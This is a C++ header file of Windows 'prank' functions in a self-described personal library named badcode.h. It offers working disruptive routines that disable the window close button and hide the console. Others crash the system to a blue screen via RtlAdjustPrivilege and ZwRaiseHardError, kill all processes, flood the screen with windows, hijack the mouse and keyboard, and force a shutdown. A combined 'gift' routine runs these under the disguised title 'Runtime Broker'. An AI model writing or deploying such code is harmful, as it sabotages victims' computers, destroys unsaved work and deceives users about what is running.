/*
此头文件是if-OF(C)编写的方便整活的自用头文件，属于“SuperOF”头文件的一部分。 
请注意，此文件不包含在任何C++软件自带的头文件库中。
分享，转载请注明出处。作者邮箱：<if-OF@qq.com>。 
-------------------------------------------------------------------------------
This header file is a convenient self-use header file written by if-of (c), which belongs to a part of the "SuperOF" header file.
Note that this file is not included in the header library that comes with any C + + software.
Share, reprint please indicate the source. Author email: < if-of @ QQ. Com >.
*/ 
#ifndef _BADCODE_H_
#define _BADCODE_H_
void BC_CC()
{
	HMENU hSysMenu = GetSystemMenu(GetForegroundWindow(),false);
	EnableMenuItem(hSysMenu,SC_CLOSE,MF_DISABLED);
	return;
}
void BC_HW()
{
	HWND hwnd;
	hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd) ShowWindow(hwnd,SW_HIDE);
	return;
}
void BC_BS()
{
	HMODULE ntdll=LoadLibrary("ntdll.dll");
	FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege");
	FARPROC ZwRaiseHardErr=GetProcAddress(ntdll,"ZwRaiseHardError");
	unsigned char ErrKill;
	long unsigned int HDErr;
	((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill);
	((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))ZwRaiseHardErr)(0xc2333333,0,0,0,6, &HDErr);
	system("taskkill /fi \"pid ge 1\" /f");
	return;
}
void BC_RING(int how_many_times,int how_long,int how_long_between_each_time)
{
	while(how_many_times--)
	{
		Beep(523,how_long);
		Sleep(how_long_between_each_time);
	}
	return;
}
void BC_SME(int time_to_show,bool if_while)
{
	int time_begin=clock();
	system("cls");
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		system("color 08");
		Sleep(20);
		system("color f8");
		Sleep(20);
	}
	return;
}
void BC_BM(int time_to_show,bool if_while)
{
	POINT mouse;
	int time_begin=clock();
	GetCursorPos(&mouse);
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
		mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
		mouse_event(MOUSEEVENTF_MIDDLEUP,0,0,0,0);
		SetCursorPos(mouse.x,mouse.y);
	}
}
void BC_BK(int time_to_show,bool if_while)
{
	int amcp[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',' ','1','2','3','4','5','6','7','8','9','0',VK_OEM_PLUS,VK_OEM_MINUS,VK_OEM_COMMA,VK_OEM_PERIOD};
	int time_begin=clock();
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		for(int i=0;i<41;i++)
			keybd_event(amcp[i],0,2,0);
	}
}
void BC_BSP(int time_to_show,bool if_while)
{
	int time_begin=clock();
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		keybd_event(' ',0,0,0);
	}
}
void BC_WDB(int time_to_show,bool if_while)
{
	int time_begin=clock();
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		system("start");
	}
}
void BC_RGB(int time_to_show,bool if_while)
{
	int time_begin=clock();
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		color("red-d","red-d",-1,-1);
		cout<<"\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t";
		color("green-d","green-d",-1,-1);
		cout<<"\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t";
		color("blue-d","blue-d",-1,-1);
		cout<<"\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t";
	}
}
void BC_UDLR(int time_to_show,bool if_while)
{
	int time_begin=clock();
	int i=0;
	srand(time(0));
	int a[]={0x25,0x26,0x27,0x28};
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		i=rand()%4;
		keybd_event(a[i],0,0,0);
		keybd_event(a[i],0,KEYEVENTF_KEYUP,0);
		Sleep(50);
	}
}
void BC_MF(int time_to_show,bool if_while)
{
	int time_begin=clock(),mx=GetSystemMetrics(SM_CXSCREEN)+1,my=GetSystemMetrics(SM_CYSCREEN)+1,a,b;
	srand(time(NULL));
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		a=rand()%mx;
		b=rand()%my;
		SetCursorPos(a,b);
		Sleep(20);
	}
}
void BC_GIFT()
{
	system("title Runtime Broker");
	BC_CC();
	BC_HW();
	srand(time(NULL));
	int x=GetSystemMetrics(SM_CXSCREEN);   
	int y=GetSystemMetrics(SM_CYSCREEN);
	POINT mouse;
	for(int i=1;i<=3000;i++)
	{
		Sleep(50);
		GetCursorPos(&mouse);
		int mx,my;
		rand()%2==1?mx=rand()%2+i/1000+mouse.x:mx=-1*rand()%2+-1*i/1000+mouse.x;
		rand()%2==1?my=rand()%2+i/1000+mouse.y:my=-1*rand()%2+-1*i/1000+mouse.y;
		SetCursorPos(mx,my);
		if(rand()%80==3)
		{
			mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
			mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			continue;
		}
		if(rand()%80==3)
		{
			mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
			mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
			continue;
		}
	}
	system("start C:/");
	Sleep(1000);
	for(int i=1;i<=2000;i++)
	{
		Sleep(50);
		GetCursorPos(&mouse);
		int mx,my;
		rand()%2==1?mx=rand()%3+i/600+mouse.x:mx=-1*rand()%3+-1*i/600+mouse.x;
		rand()%2==1?my=rand()%3+i/600+mouse.y:my=-1*rand()%3+-1*i/600+mouse.y;
		SetCursorPos(mx,my);
		if(rand()%50==3)
		{
			mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
			mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			continue;
		}
		if(rand()%50==3)
		{
			mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
			mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
			continue;
		}
		if(rand()%80==3)
		{
			rand()%2==1?system("start C:/"):system("start");
		}
		if(rand()%10==3)
		{
			keybd_event(rand()%256,0,0,0);
			keybd_event(rand()%256,0,2,0);
		}
	}
	for(int i=1;i<=100;i++)
	{
		system("start /min cmd");
	}
	string start_char[]={"start www.baidu.com","start notepad.exe","start calc","start dvdplay","start write"};
	for(int i=1;i<=100;i++)
	{
		Sleep(200);
		system(start_char[rand()%5].c_str());
	}
	system("shutdown -f -s -t 1000");
	for(int i=1;i<=100;i++)
	{
		SetCursorPos(x/2,y/2);
		i%2?system("start /max cmd"):system("start /max notepad.exe");
	}
	blue_screen(10);
	blue_screen(7);
	return;
}
bool BC_MOUSE(int x,int y,int dx,int dy)
{
	POINT mouse;
	GetCursorPos(&mouse);
	//cout<<mouse.x<<" "<<mouse.y<<" "<<x<<" "<<y<<" "<<dx+x<<" "<<dy+y<<endl;
	if(mouse.x>=x && mouse.y>=y && mouse.x<=(x+dx) && mouse.y<=(y+dy))
		return true;
	else
		return false;
}
void BC_WAIT(double time_sec)
{
	Sleep((int)time_sec*1000);
	return;
}
void BC_TIME(int HOUR,int MINUTE,int SECOND)
{
	SYSTEMTIME sys;
	do
	{
		GetLocalTime(&sys);
		Sleep(100);
	}while((HOUR*60*60+MINUTE*60+SECOND)>=(sys.wHour*60*60+sys.wMinute*60+sys.wSecond));
	return;
}
void BC_RICK_ROLL()
{
	system("start /MAX https://www.bilibili.com/video/BV1GJ411x7h7");
}
void BC_BW(int time_to_show,bool if_while)
{
	int time_begin=clock();
	srand(time(NULL));
	while(((clock()-time_begin)*1.0/CLOCKS_PER_SEC<time_to_show*1.0/1000)||if_while)
	{
		HWND hWnd=GetForegroundWindow();
		SetWindowPos(hWnd,HWND_BOTTOM,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
		Sleep(200);
	}
}
#endif